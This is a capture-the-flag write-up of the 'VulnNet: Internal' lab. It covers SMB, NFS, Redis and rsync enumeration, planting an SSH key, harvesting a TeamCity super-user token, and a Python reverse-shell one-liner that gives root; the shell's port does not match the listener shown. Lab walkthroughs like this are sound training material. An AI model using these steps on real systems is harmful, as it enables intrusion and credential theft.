Vulnnet - Internal
Mounting NFS - Redis Enumeration - Rsync Enumeration - Local Port Forwarding (Pivoting) - TeamCity Privilege Escalation
Scanning and Enumeration
Starting off with the nmap scan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 5e:27:8f:48:ae:2f:f8:89:bb:89:13:e3:9a:fd:63:40 (RSA)
| 256 f4:fe:0b:e2:5c:88:b5:63:13:85:50:dd:d5:86:ab:bd (ECDSA)
|_ 256 82:ea:48:85:f0:2a:23:7e:0e:a9:d9:14:0a:60:2f:ad (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 35973/tcp mountd
| 100005 1,2,3 50743/udp mountd
| 100005 1,2,3 50821/tcp6 mountd
| 100005 1,2,3 60228/udp6 mountd
| 100021 1,3,4 33804/udp6 nlockmgr
| 100021 1,3,4 35968/udp nlockmgr
| 100021 1,3,4 38965/tcp6 nlockmgr
| 100021 1,3,4 44305/tcp nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
873/tcp open rsync (protocol version 31)
2049/tcp open nfs_acl 3 (RPC #100227)
6379/tcp open redis Redis key-value store
Service Info: Host: VULNNET-INTERNAL; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -39m59s, deviation: 1h09m16s, median: 0s
|_nbstat: NetBIOS name: VULNNET-INTERNA, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: vulnnet-internal
| NetBIOS computer name: VULNNET-INTERNAL\x00
| Domain name: \x00
| FQDN: vulnnet-internal
|_ System time: 2021-05-26T20:17:39+02:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-05-26T18:17:39
|_ start_date: N/AWe see a bunch of ports open, the Interesting one are !
The SMB Ports - 139 and 445
The RPC-Bind Port - 111
We do have a NFS port open, which means we can mount it - 2049
The RSYNC and the Redis Port - 873 and 6379
Let's start enumerating the SMB shares via Anonymous login
$ smbclient -L 10.10.190.83
Enter WORKGROUP\kali's password:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
shares Disk VulnNet Business Shares
IPC$ IPC IPC Service (vulnnet-internal server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available
$ smbclient //10.10.190.83/shares
Enter WORKGROUP\kali's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue Feb 2 10:20:09 2021
.. D 0 Tue Feb 2 10:28:11 2021
temp D 0 Sat Feb 6 12:45:10 2021
data D 0 Tue Feb 2 10:27:33 2021
11309648 blocks of size 1024. 3275768 blocks available
smb: \> cd temp
smb: \temp\> ls
. D 0 Sat Feb 6 12:45:10 2021
.. D 0 Tue Feb 2 10:20:09 2021
services.txt N 38 Sat Feb 6 12:45:09 2021
11309648 blocks of size 1024. 3275768 blocks available
smb: \temp\> get services.txt
getting file \temp\services.txt of size 38 as - (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)Enumerating the other directories, gives us nothing useful - Enumerating the RPC port also doesn't give us any potential usernames :(
Since we have the NFS file share open, lets try to mount it
$ mkdir tmp
$ sudo mount -t nfs 10.10.190.83: tmp We have now successfully mounted the remote system's NFS share, let's enumerate that now :)
$ tree tmp
tmp
└── opt
└── conf
├── hp
│ └── hplip.conf
├── init
│ ├── anacron.conf
│ ├── lightdm.conf
│ └── whoopsie.conf
├── opt
├── profile.d
│ ├── bash_completion.sh
│ ├── cedilla-portuguese.sh
│ ├── input-method-config.sh
│ └── vte-2.91.sh
├── redis
│ └── redis.conf
├── vim
│ ├── vimrc
│ └── vimrc.tiny
└── wildmidi
└── wildmidi.cfgIf we take a close look, we have the redis.conf file out there, let's cat that out !
$ cat tmp/opt/conf/redis/redis.conf
rename-command FLUSHDB ""
rename-command FLUSHALL ""
bind 127.0.0.1 ::1
protected-mode yes
port 6379
tcp-backlog 511
timeout 0
tcp-keepalive 300
daemonize yes
supervised no
pidfile /var/run/redis/redis-server.pid
loglevel notice
logfile /var/log/redis/redis-server.log
databases 16
always-show-logo yes
save 900 1
save 300 10
save 60 10000
stop-writes-on-bgsave-error yes
rdbcompression yes
rdbchecksum yes
dbfilename dump.rdb
dir /var/lib/redis
slave-serve-stale-data yes
requirepass "B65Hx562F@ggAZ@F"
slave-read-only yes
repl-diskless-sync no
repl-diskless-sync-delay 5
repl-disable-tcp-nodelay no
slave-priority 100
lazyfree-lazy-eviction no
lazyfree-lazy-expire no
lazyfree-lazy-server-del no
slave-lazy-flush no
appendonly no
appendfilename "appendonly.aof"
appendfsync everysec
no-appendfsync-on-rewrite no
auto-aof-rewrite-percentage 100
auto-aof-rewrite-min-size 64mb
aof-load-truncated yes
aof-use-rdb-preamble no
lua-time-limit 5000
slowlog-log-slower-than 10000
slowlog-max-len 128
latency-monitor-threshold 0
notify-keyspace-events ""
hash-max-ziplist-entries 512
hash-max-ziplist-value 64
list-max-ziplist-size -2
list-compress-depth 0
set-max-intset-entries 512
zset-max-ziplist-entries 128
zset-max-ziplist-value 64
hll-sparse-max-bytes 3000
activerehashing yes
client-output-buffer-limit normal 0 0 0
client-output-buffer-limit slave 256mb 64mb 60
client-output-buffer-limit pubsub 32mb 8mb 60
hz 10
aof-rewrite-incremental-fsync yesWe found a potential password for the redis server - B65Hx562F@ggAZ@F - Let's now try to access the redis server and try extracting some info or just try to relay in-order to get a potential NTLMv2 hash :)
$ redis-cli -h 10.10.190.83 -a "B65Hx562F@ggAZ@F"
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.We'll list the KEYS now
10.10.190.83:6379> KEYS *
1) "tmp"
2) "marketlist"
3) "authlist"
4) "internal flag"
5) "int"
10.10.190.83:6379>
10.10.190.83:6379> KEYS "internal flag"
1) "internal flag"
10.10.190.83:6379> GET "internal flag"
"THM{REDACTED}"Let's enumerate further, authlist looks interesting tho :)
10.10.190.83:6379> GET authlist
(error) WRONGTYPE Operation against a key holding the wrong kind of value
10.10.190.83:6379> LRANGE authlist 1 100
1) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
2) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
3) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="Decoding the above base64 string gives us
$ echo "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg==" | base64 -d
Authorization for rsync://rsync-connect@127.0.0.1 with password Hcg3HP67@TW@Bc72vInitial Compromise
Let's now enumerate the rsync protocol and try getting a shell - Connecting to the rsync server reveals a files directory !
$ rsync --list-only rsync://10.10.190.83
files Necessary home interaction
$ rsync --list-only rsync://rsync-connect@10.10.190.83/files
Password: Hcg3HP67@TW@Bc72v
drwxr-xr-x 4,096 2021/02/01 13:51:14 .
drwxr-xr-x 4,096 2021/02/06 13:49:29 sys-internal
$ rsync --list-only rsync://rsync-connect@10.10.190.83/files/sys-internal
Password:
drwxr-xr-x 4,096 2021/02/06 13:49:29 .
-rw------- 61 2021/02/06 13:49:28 .Xauthority
lrwxrwxrwx 9 2021/02/01 14:33:19 .bash_history
-rw-r--r-- 220 2021/02/01 13:51:14 .bash_logout
-rw-r--r-- 3,771 2021/02/01 13:51:14 .bashrc
-rw-r--r-- 26 2021/02/01 13:53:18 .dmrc
-rw-r--r-- 807 2021/02/01 13:51:14 .profile
lrwxrwxrwx 9 2021/02/02 15:12:29 .rediscli_history
-rw-r--r-- 0 2021/02/01 13:54:03 .sudo_as_admin_successful
-rw-r--r-- 14 2018/02/12 20:09:01 .xscreensaver
-rw------- 2,546 2021/02/06 13:49:35 .xsession-errors
-rw------- 2,546 2021/02/06 12:40:13 .xsession-errors.old
-rw------- 38 2021/02/06 12:54:25 user.txt
drwxrwxr-x 4,096 2021/02/02 10:23:00 .cache
drwxrwxr-x 4,096 2021/02/01 13:53:57 .config
drwx------ 4,096 2021/02/01 13:53:19 .dbus
drwx------ 4,096 2021/02/01 13:53:18 .gnupg
drwxrwxr-x 4,096 2021/02/01 13:53:22 .local
drwx------ 4,096 2021/02/01 14:37:15 .mozilla
drwxrwxr-x 4,096 2021/02/06 12:43:14 .ssh
drwx------ 4,096 2021/02/02 12:16:16 .thumbnails
drwx------ 4,096 2021/02/01 13:53:21 Desktop
drwxr-xr-x 4,096 2021/02/01 13:53:22 Documents
drwxr-xr-x 4,096 2021/02/01 14:46:46 Downloads
drwxr-xr-x 4,096 2021/02/01 13:53:22 Music
drwxr-xr-x 4,096 2021/02/01 13:53:22 Pictures
drwxr-xr-x 4,096 2021/02/01 13:53:22 Public
drwxr-xr-x 4,096 2021/02/01 13:53:22 Templates
drwxr-xr-x 4,096 2021/02/01 13:53:22 VideosLet's try sync our SSH public key on the remote machine
$ cp ~/.ssh/id_rsa.pub ./
$ rsync id_rsa.pub rsync://rsync-connect@10.10.190.83/files/sys-internal/.ssh/authorized_keysCool, we've successfully synced/uploaded our public key onto the remote machine, we can now connect to the sys-internal user via SSH
$ ssh sys-internal@10.10.190.83
sys-internal@vulnnet-internal:~$ cat user.txt
THM{REDACTED}Local Port Forwarding - Pivoting
When we list the root directory, we see an interesting directory called TeamCity - Upon googling it said that it was some kind of DevOps tool used for maintaining CI/CD pipelines - Just like Jenkins :)
It suddenly striked my mind that there could be some sort of application running within the network on a different machine, so I quicky ran the netstat command to see what all IP's are talking to this sys-internal machine - and unfortunately netstat wasn't installed on this compromised machine, so I checked with the ss command - and it worked :)
sys-internal@vulnnet-internal:~$ ss -ltp
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 50 0.0.0.0:microsoft-ds 0.0.0.0:*
LISTEN 0 128 0.0.0.0:39391 0.0.0.0:*
LISTEN 0 64 0.0.0.0:nfs 0.0.0.0:*
LISTEN 0 128 0.0.0.0:33735 0.0.0.0:*
LISTEN 0 5 0.0.0.0:rsync 0.0.0.0:*
LISTEN 0 50 0.0.0.0:netbios-ssn 0.0.0.0:*
LISTEN 0 128 0.0.0.0:6379 0.0.0.0:*
LISTEN 0 128 0.0.0.0:sunrpc 0.0.0.0:*
LISTEN 0 64 0.0.0.0:34769 0.0.0.0:*
LISTEN 0 128 127.0.0.53%lo:domain 0.0.0.0:*
LISTEN 0 128 0.0.0.0:ssh 0.0.0.0:*
LISTEN 0 5 127.0.0.1:ipp 0.0.0.0:*
LISTEN 0 128 0.0.0.0:33145 0.0.0.0:*
LISTEN 0 50 [::ffff:127.0.0.1]:57882 *:*
LISTEN 0 50 [::]:microsoft-ds [::]:*
LISTEN 0 64 [::]:nfs [::]:*
LISTEN 0 50 *:9090 *:*
LISTEN 0 1 [::ffff:127.0.0.1]:8105 *:*
LISTEN 0 5 [::]:rsync [::]:*
LISTEN 0 128 [::1]:6379 [::]:*
LISTEN 0 50 [::]:netbios-ssn [::]:*
LISTEN 0 100 [::ffff:127.0.0.1]:8111 *:*
LISTEN 0 128 [::]:sunrpc [::]:*
LISTEN 0 64 [::]:33363 [::]:*
LISTEN 0 128 [::]:40659 [::]:*
LISTEN 0 128 [::]:ssh [::]:*
LISTEN 0 50 *:35095 *:*
LISTEN 0 128 [::]:38359 [::]:*
LISTEN 0 5 [::1]:ipp [::]:*
LISTEN 0 128 [::]:46425 [::]:* There were many ports running here, and especially on the localhost so I decided to check for the default port for the TeamCity application and it was 8111 - So let's try pivoting the victim's localhost to our attacker machine via SSH
$ ssh -L 8111:127.0.0.1:8111 sys-internal@10.10.190.83
sys-internal@vulnnet-internal:~$ We can now access the TeamCity application via the localhost on our browser
We do not have a valid username or a password, but if we take a closer look it says
Login as a Super user to create an administrator account
When we try loggin - It asks for a valid admin token, and where do we find that? - Let's check in the log files !
sys-internal@vulnnet-internal:/TeamCity$ grep -iR token /TeamCity/logs/ 2>/dev/null
/TeamCity/logs/catalina.out:[TeamCity] Super user authentication token: 8446629153054945175 (use empty username with the token as the password to access the server)
/TeamCity/logs/catalina.out:[TeamCity] Super user authentication token: 8446629153054945175 (use empty username with the token as the password to access the server)
/TeamCity/logs/catalina.out:[TeamCity] Super user authentication token: 3782562599667957776 (use empty username with the token as the password to access the server)
/TeamCity/logs/catalina.out:[TeamCity] Super user authentication token: 5812627377764625872 (use empty username with the token as the password to access the server)
/TeamCity/logs/catalina.out:[TeamCity] Super user authentication token: 4174796436262174108 (use empty username with the token as the password to access the server)
/TeamCity/logs/catalina.out:[TeamCity] Super user authentication token: 4174796436262174108 (use empty username with the token as the password to access the server)Using the last token, we can connect as super admin
Privilege Escalation
TeamCity is run by root on the target, which means that executing a reverse shell will grant us root access. After googling how to run commands on TeamCity, I found that it can be done via build steps in a project.
Create a project > go to build steps - Select “Command line” as “Runner type”, and put a python3 reverse shell string as the custom script command
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Now, start a listener and click on the run button to run the command
Meanwhile, on our listener !
$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.190.83] 48482
bash: cannot set terminal process group (481): Inappropriate ioctl for device
bash: no job control in this shell
root@vulnnet-internal:/TeamCity/buildAgent/work/2b35ac7e0452d98f# cat /root/root.txt
<uildAgent/work/2b35ac7e0452d98f# cat /root/root.txt
THM{REDACTED}Last updated